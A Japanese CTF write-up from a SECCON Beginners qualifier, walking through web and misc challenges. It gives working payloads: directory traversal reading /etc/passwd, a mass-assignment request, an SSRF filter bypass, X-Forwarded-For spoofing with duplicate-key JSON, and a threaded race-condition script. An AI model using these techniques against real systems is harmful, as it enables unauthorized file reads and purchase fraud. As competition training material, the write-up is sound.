チームwhitecatとして参加して1689点85位でした。
Webしかやれていないのですが、メンバーが強くてここまでこれました。
以下、自分が解いた問題のwriteupです。
Web
osoba
ちょっと探索すると/?page=public/wip.html
のようなURLになっているので、ディレクトリトラバーサルを試す。
/?page=/etc/passwd
とすると、データが抜けてくるので、問題文にもあるように/?page=/flag
でフラグを取ってこよう。
Werewolf
自分はKNIGHTらしい。
プロキシのログを見てみるが、特に気になる部分がない。
ソースコードを見てみよう。
player.role == 'WEREWOLF'
が満たされればフラグが手に入る。
しかしPlayerクラスを見ると指定できるroleにWEREWOLFが含まれていない。
player.__dict__[k] = v
で__roleにアクセスできないが探すと以下の記事が見つかる。
Pythonのプライベート変数の振る舞いについて - Qiita
なるほど、_Player__role
でアクセスできそう。
POST / HTTP/1.1 Host: werewolf.quals.beginners.seccon.jp … Connection: close name=Evilman&color=red&_Player__role=WEREWOLF
これでフラグがもらえる。
check_url
SSRFな感じがする。
ソースコードを見ると自分自身をアクセスさせることができればフラグが手に入る。
127.0.0.1
にアクセスさせることができればフラグが手に入る。制約は
という感じ。
色々調べて使ってみると、SSRF (Server Side Request Forgery) - HackTricksの0x7f000001
が刺さる。
/?url=https://0x7f000001/
でフラグ。
json
BANされてしまった。
/json/bff/main.go
の以下の部分でフィルタリングしている。
// check if the accessed user is in the local network (192.168.111.0/24) func checkLocal() gin.HandlerFunc { return func(c *gin.Context) { clientIP := c.ClientIP() ip := net.ParseIP(clientIP).To4() if ip[0] != byte(192) || ip[1] != byte(168) || ip[2] != byte(111) { c.HTML(200, "error.tmpl", gin.H{ "ip": clientIP, }) c.Abort() return } } }
送信元をヘッダーで偽装できないか試すとX-Forwarded-For: 192.168.111.2
を入れてみるとbypassできた。
Flagクエリをやってみる。
ダメでした。
/json/bff/main.go
の
if info.ID == 2 { c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."}) return }
でフィルタリングがかかっている。
よくよく見ると、apiとbffで使っているJSONパーサーが違う。
これはアレか。
POST / HTTP/1.1 Host: json.quals.beginners.seccon.jp … X-Forwarded-For: 192.168.111.2 {"id":2,"id":1}
これを投げるとフラグが手に入る。
cant_use_db
Noodlesを2つ、Soupを1つ買えればフラグが手に入る。
もちろんお金は足りない。
cant_use_dbとあり、DBは使っていない。代わりにtxtファイルを使って情報を永続化している。
user_idが内部的に使われているがセッションに入っているので手出しできない。
CookieにセッションIDがJWSっぽい形式で入っているが、簡単に解析できそうな感じでもない。
購入フローを見ると、「購入物の個数をインクリメント」→wait→「金額を購入分減らす」となっているので排他処理で攻められますね。
しかし、単純に/buy_noodles
を2回と/buy_soup
を1回を同時に実行すると、buy_noodlesの購入物の更新がどちらも1個になってしまうので、1回目と2回目の間に0.5秒くらいウェイトを入れるとうまくいく。
以下exploitコード
import requests import threading import time root = 'https://cant-use-db.quals.beginners.seccon.jp' cookie = {'session': 'eyJ1c2VyIjoiMDQ3L2F4SjNEWS1USUs5Rlc1dmFGT3d4TVFzM3pjNllLdkdsWmhFLWEzbUMifQ.YKkndg.Hbl3Uw84soj7Gd3HccAsqHRHfag'} def f(): return requests.post(root + '/buy_noodles', cookies=cookie, verify=False).text def g(): return requests.post(root + '/buy_soup', cookies=cookie, verify=False).text threading.Thread(target=f).start() time.sleep(0.5) threading.Thread(target=f).start() threading.Thread(target=g).start()
misc
git-leak
過去コミットを洗い出してgrepしてくればフラグが得られる。
$ git cat-file --batch --batch-all-objects | grep -a ctf4b ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
depixelization
このような暗号と暗号を作るスクリプトが与えられる。
とある文字はそれに対応した一意の画像が作られるので候補の文字についてスクリプトで暗号化を行い、出力が一致するかを比較することで復元できそうだ。
スクリプトを書いて、上記のようなことをやると答えが得られる。
import cv2 import numpy as np cs = "qwertyuiopasdfghjklzxcvbnm1234567890{}_!" img2 = cv2.imread("./output.png") for i in range(31): L = i * 85 R = (i + 1) * 85 char = img2[0 : 100, L : R] for c in cs: img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8) cv2.putText(img, c, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) # pixelization cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA) cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA) simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST) # WTF :-o img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST) if np.array_equal(char,img): print(c) break